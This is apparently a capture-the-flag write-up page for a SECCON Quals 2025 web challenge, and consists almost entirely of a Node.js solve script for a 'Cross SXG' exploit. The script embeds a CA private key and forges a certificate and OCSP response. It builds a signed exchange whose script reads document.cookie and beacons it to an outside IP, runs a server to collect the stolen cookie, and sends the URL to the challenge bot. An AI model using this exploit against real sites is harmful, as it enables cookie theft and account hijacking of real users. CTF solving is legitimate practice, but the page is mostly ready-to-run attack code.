Skip to content

Categories

TLS

https://github.com/southball/ctf-writeups/tree/main/Wani-CTF-2024/web/tls_spec Basicaly forensic+web

Created

Updated

4 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

https://github.com/southball/ctf-writeups/tree/main/Wani-CTF-2024/web/tls_spec

Basicaly forensic+web

Cross SXG Exploit

Event NameSECCON Quals 2025
GitHub URL-
Challenge Namebroken-challenge
Attachments
References

solve
const fs = require('fs');
const { execSync } = require('child_process');
const path = require('path');
const http2 = require('http2');
const http = require('http');

// --- Configuration ---
const CONFIG = {
    hostIp: '31.97.223.21',
    port: 8000,
    remoteHost: 'broken-challenge.seccon.games',
    // Tools from the challenge environment
    genSxgPath: path.join(process.env.HOME, 'go/bin/gen-signedexchange'),
    genCertUrlPath: path.join(process.env.HOME, 'go/bin/gen-certurl')
};

// --- Embedded Secrets ---
const CA_KEY = `-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49
AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5
wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==
-----END EC PRIVATE KEY-----`;

const CA_CERT = `-----BEGIN CERTIFICATE-----
MIIBizCCATCgAwIBAgIUbjrJ6hhsPbR+q3b8T6k3HkFyOEwwCgYIKoZIzj0EAwIw
ETEPMA0GA1UEAwwGc2VjY29uMB4XDTI1MTEzMDA5MTk1NloXDTM1MTEyODA5MTk1
NlowETEPMA0GA1UEAwwGc2VjY29uMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE
lm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1
e64FKrqqHva6JMAJFafgO6NmMGQwHQYDVR0OBBYEFDodm68MB38A8T2XQBNFvbqd
m0UNMB8GA1UdIwQYMBaAFDodm68MB38A8T2XQBNFvbqdm0UNMBIGA1UdEwEB/wQI
MAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMCA0kAMEYCIQCDgCwj
OhKsCL0k3BQMLjpmIRLolYE9hIB9UQB7lEMlJAIhAM3Rujzc1PfYeejf/cZE+KFB
UbPgcyNGemJdufTNUF1z
-----END CERTIFICATE-----`;

// --- Helpers ---
function runCmd(cmd) {
    console.log(`[*] Running: ${cmd}`);
    try {
        execSync(cmd, { stdio: 'inherit' });
    } catch (e) {
        console.error(`[-] Command failed: ${cmd}`);
        process.exit(1);
    }
}

async function main() {
    console.log("[*] Starting exploit setup (Restored Mode)...");

    // 1. Write CA Files to Disk
    fs.writeFileSync('ca.key', CA_KEY);
    fs.writeFileSync('ca.crt', CA_CERT);

    // 2. SXG OpenSSL Config
    const sxgExt = `
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_req
[req_distinguished_name]
CN = hack.the.planet.seccon
[v3_req]
basicConstraints = CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL
[alt_names]
DNS.1 = hack.the.planet.seccon
IP.1 = ${CONFIG.hostIp}
`;
    fs.writeFileSync('sxg.ext', sxgExt);

    // 3. Generate Server Keys & Certificate
    // Serial must match the index.txt entry for OCSP
    runCmd('openssl ecparam -name prime256v1 -genkey -out server.key');
    runCmd('openssl req -new -key server.key -out server.csr -subj "/CN=hack.the.planet.seccon" -config sxg.ext');
    runCmd(`openssl x509 -req -days 90 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 0x1000 -out server.crt -extensions v3_req -extfile sxg.ext`);

    // 4. Generate Valid OCSP Response
    const indexContent = `V\t301231235959Z\t\t1000\tunknown\t/CN=hack.the.planet.seccon\n`;
    fs.writeFileSync('index.txt', indexContent);

    runCmd('openssl ocsp -issuer ca.crt -cert server.crt -reqout server.req');
    runCmd('openssl ocsp -index index.txt -rsigner ca.crt -rkey ca.key -CA ca.crt -reqin server.req -respout server.ocsp -ndays 365');

    // 5. Generate Cert Chain CBOR
    // Using gen-certurl to ensure Canonical CBOR encoding required by SXG
    console.log("[*] Generating Cert Chain CBOR...");
    const chainContent = fs.readFileSync('server.crt') + '\n' + fs.readFileSync('ca.crt');
    fs.writeFileSync('chain.pem', chainContent);

    // Ensure tool exists or fail early
    if (!fs.existsSync(CONFIG.genCertUrlPath)) {
        console.error(`[!] gen-certurl not found at ${CONFIG.genCertUrlPath}`);
        console.error("    Ensure you are running this in the correct environment or update the path.");
    }
    runCmd(`${CONFIG.genCertUrlPath} -pem chain.pem -ocsp server.ocsp > cert.cbor`);

    // 6. Create Payload
    const payloadHtml = `
<!DOCTYPE html>
<html>
<body>
  <h1>Pwned via SXG</h1>
  <script>
    var cookie = document.cookie;
    var logUrl = "https://${CONFIG.hostIp}:${CONFIG.port}/log?cookie=" + encodeURIComponent(cookie);
    navigator.sendBeacon(logUrl);
    new Image().src = logUrl;
  </script>
</body>
</html>
`;
    fs.writeFileSync('payload.html', payloadHtml);

    // 7. Generate Signed Exchange (SXG)
    const certUrl = `https://${CONFIG.hostIp}:${CONFIG.port}/cert.cbor`;
    console.log(`[*] Generating SXG File (certUrl=${certUrl})...`);
    const now = Math.floor(Date.now() / 1000);

    const sxgCmd = `${CONFIG.genSxgPath} ` +
        `-uri https://hack.the.planet.seccon/ ` +
        `-content payload.html ` +
        `-certificate server.crt ` +
        `-privateKey server.key ` +
        `-certUrl ${certUrl} ` +
        `-validityUrl https://hack.the.planet.seccon/resource.validity.${now} ` +
        `-o exploit.sxg`;

    runCmd(sxgCmd);

    // 8. Start HTTP/2 Server
    startServer();
}

function startServer() {
    const options = {
        key: fs.readFileSync('server.key'),
        cert: fs.readFileSync('server.crt'),
        allowHTTP1: true
    };

    const server = http2.createSecureServer(options, (req, res) => {
        try {
            const urlObj = new URL(req.url, `https://${req.headers.host}`);
            const pathname = urlObj.pathname;

            console.log(`[SERVER] Request: ${req.method} ${pathname}`);
            res.setHeader('Access-Control-Allow-Origin', '*');

            if (pathname === '/exploit.sxg') {
                res.setHeader('Content-Type', 'application/signed-exchange;v=b3');
                res.setHeader('X-Content-Type-Options', 'nosniff');
                res.end(fs.readFileSync('exploit.sxg'));
            }
            else if (pathname === '/cert.cbor') {
                res.setHeader('Content-Type', 'application/cert-chain+cbor');
                res.setHeader('X-Content-Type-Options', 'nosniff');
                res.end(fs.readFileSync('cert.cbor'));
            }
            else if (pathname.startsWith('/log')) {
                console.log(`\n[+] RECEIVED DATA: ${urlObj.searchParams.get('cookie')}`);
                res.end('Logged');
                process.exit(0); // Exit on success
            }
            else {
                res.statusCode = 404;
                res.end('Not Found');
            }
        } catch (e) {
            console.error("Server error:", e);
        }
    });

    server.listen(CONFIG.port, '0.0.0.0', () => {
        console.log(`[*] Secure Server (HTTP/2) listening on port ${CONFIG.port}`);
        triggerBot();
    });
}

function triggerBot() {
    const targetUrl = `https://${CONFIG.hostIp}:${CONFIG.port}/exploit.sxg`;
    console.log(`[*] Triggering bot visit to ${targetUrl}...`);

    const payload = JSON.stringify({ url: targetUrl });
    const req = http.request({
        hostname: CONFIG.remoteHost,
        port: 1337,
        path: '/api/report',
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Content-Length': payload.length
        }
    }, (res) => {
        console.log(`[BOT] Status: ${res.statusCode}`);
        res.pipe(process.stdout);
    });

    req.on('error', console.error);
    req.write(payload);
    req.end();
}

main().catch(console.error);

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.